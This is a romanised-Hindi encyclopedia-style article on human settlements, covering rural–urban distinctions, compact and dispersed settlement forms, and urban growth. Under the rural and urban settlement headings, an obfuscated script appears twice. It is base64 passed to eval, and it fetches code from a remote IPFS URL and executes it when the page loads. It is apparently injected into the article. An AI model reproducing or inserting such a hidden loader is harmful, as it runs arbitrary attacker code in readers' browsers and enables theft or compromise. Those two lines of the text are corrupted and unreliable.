मानव बस्ती
manav basti kisi bhi prakar aur akar ke gharoan ka sankul hai jinamean manushy rahate haian. ek sthan jo sadharanataya sthayi roop se basa hua ho use manav basti kahate haian. makanoan ka svaroop badala ja sakata hai, unake kary badal sakate haian parantu bastiyaan samay evan sthan ke sath nirantar basati raheangi. kuchh bastiyaan asthayi ho sakati haian jisamean nivas kuchh hi samay jaise ki ek rritu ke lie hota hai. manav makanoan ke samooh mean rahate haian. ise gram, nagar ya ek shahar kah sakate haian, yah sabhi manav basti ke udaharan haian. manav basti ka adhyayan manav bhoogol ka mool hai kyoanki kisi bhi kshetr mean bastiyoan ka roop us kshetr ke vatavaran se manav ka sanbandh darshata hai.
bastiyoan ka vargikaran
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- gramin nagariy dvibhajan
yah sabhi svikar karate haian ki bastiyoan mean bhed nagariy v gramin adhar par hota hai, parantu ham kis ko gram kahean evan kisako nagar is par koee mataiky nahian hai. yadyapi janasankhya isaka ek mapadand ho sakati hai par yah sarvavyapi mapadand nahian ho sakata kyoanki bharat evan chin mean jo ghane base desh haian unamean kee aise gram haian jinaki janasankhya pashchimi yoorop evan sanyukt rajy amerika ke nagaroan se adhik hai. ek samay tha jab gram ke nivasiyoan ka mukhy udyam krishi karana ya prathamik gatividhiyoan mean lage rahana tha. parantu vartaman samay mean vishv ke vikasit deshoan ki nagariy janasankhya yadyapi shaharoan mean kary karati haian tathapi ve gaanvoan mean rahana pasand karate haian. at: gaanvoan evan shaharoan mean adharabhoot aantar yah hota hai ki nagaroan ya shaharoan ke nivasiyoan ka mukhy vyavasay dvitiyak evan tritiyak gatividhiyoan se sanbandhit hai. isake viparit gramoan mean rahane vale nivasiyoan ka mukhy vyavasay prathamik gatividhiyaan jaise krishi, machhali pak dana, lak di katana, khanan kary, pashupalan ityadi se sanbandhit hota hai.
gramin evan nagariy janasankhya mean unake dvara sanpann karyoan ke adhar par vibhedikaran adhik arthapoorn hai kyoanki gramin evan nagariy bastiyoan dvara kie ge karyoan ke padanukram mean samaroopata nahian hai. sanyukt rajy amerika mean paitrol panp ko
padanukram mean nimn shreni ka kary samajha jata hai, jabaki bharat mean yah nagariy kary ke aantargat ata hai. yahaan tak ki ek desh ke aandar hi karyoan ka star pradeshik arthavyavastha ke anusar alag-alag ho sakata hai, jo suvidhaean vikasit deshoan ke gramoan mean paee jati haian, vaisi suvidhaean vikasashil evan alp vikasit deshoan ke gaanvoan mean durlabh hoti haian.
bastiyoan ke prakar evan pratiroop
bastiyoan ka vargikaran unaki akriti evan pratiroopoan ke adhar par kiya jata hai. akriti ke adhar par bastiyoan ko mukhyataya nimn prakaroan mean vargikrit kiya ja sakata hai :
sanhat basti
is prakar ki bastiyaan ve hoti haian jinamean makan ek doosare ke samip banae jate haian. is tarah ki bastayoan ka vikas nadi ghatiyoan ke sahare ya upajaoo maidanoan mean hota hai. yahaan rahane vala samuday milakar rahata hai evan unake vyavasay bhi saman hote haian.
prakirn basti
in bastiyoan mean makan door-door hote haian tatha pray: khetoan ke dvara ek doosare se alag hote haian. ek saanskritik akriti jaise pooja-sthal athava bazar, bastiyoan ko ek sath baandhata hai.
gramin basti
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
gramin basti adhik nikatata se tatha pratyaksh roop se bhoomi se nazadiki sanbandh rakhati haian. yahaan ke nivasi adhikatar prathamik gatividhiyoan mean lage hote haian. jaise- krishi, pashupalan evan machhali pak dana adi inake pramukh vyavasay hote haian. bastiyoan ka akar apekshakrit chhota hota hai.
nagariy basti
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tivr nagariy vikas ek nootan parighatana hai. kuchh samay poorv tak bahut hi kam bastiyaan kuchh hazar se adhik nivasiyoan vali thi. pratham nagariy basti landan nagar ki janasankhya lagabhag 1810 ee. tak 10 lakh ho gee thi. 1982 mean vishv mean qarib 175 nagar 10 lakh se adhik janasankhya vale the. 1800 mean vishv ki keval 3 pratishat janasankhya nagariy bastiyoan mean nivas karati thi jabaki vartaman samay mean 48 pratishat janasankhya nagaroan mean nivas karati hai. gramin bastiyoan ke viparit nagariy bastiyaan samanyat: sanhat aur vishal akar ki hoti haian. ye bastiyaan anek prakar ke akrishi, arthik aur prashasakiy prakaryoan mean sanlagn hoti haian.
akar aur prakar mean bhinn
bastiyaan akar aur prakar mean bhinn hoti haian. unaka parisar ek palli se lekar mahanagar tak hota hai. akar ke sath bastiyoan ke arthik abhilakshan aur samajik sanrachana badal jati haian aur sath hi badal jate haian paristhitiki aur praudyogiki. bastiyaan chhoti aur viral roop se lekar b di aur sankulit avasthit ho sakati haian. viral roop se avasthit chhoti bastiyaan, jo krishi athava any prathamik kriyakalapoan mean vishishtata prapt kar leti haian, gaanv kahalati haian. doosari or kam, kiantu b de adhivas dvitiyak aur tritiyak kriyakalapoan mean visheshikrit hote haian jo inhean nagariy bastiyaan kaha jata hai. gramin aur nagariy bastiyoan mean adharabhoot aantar nimnalikhit haian-
- gramin bastiyaan apane jivan ka poshan athava adharabhoot arthik avashyakataoan ki poorti bhoomi adharit prathamik arthik kriyaoan se karati haian jabaki nagariy bastiyaan ek or kachche mal ke prakraman aur taiyar mal ke vinirman tatha doosari
or vibhinn prakar ki sevaoan par nirbhar karati haian.
- nagar arthik vriddhi ke nod (davakam) ke roop mean kary karate haian aur n keval nagar nivasiyoan ko balki apane pashch bhoomi ki gramin bastiyoan ko bhi bhojan aur kachche mal ke badale vastuean aur sevaean upalabdh karate haian. nagariy aur gramin bastiyoan ke bich prakaryatmak sanbandh parivahan aur sanchar paripath ke madhyam se sthapit hota hai.
- gramin aur nagariy bastiyaan samajik sanbandhoan abhivritti aur drishtikon ki drishti se bhi bhinn hoti haian. gramin log kam gatishil hote haian aur isalie unamean samajik sanbandh ghanishth hote haian. doosari or nagariy kshetroan mean jivan ka dhang jatil aur tivr hota hai aur samajik sanbandh aupacharik hote haian.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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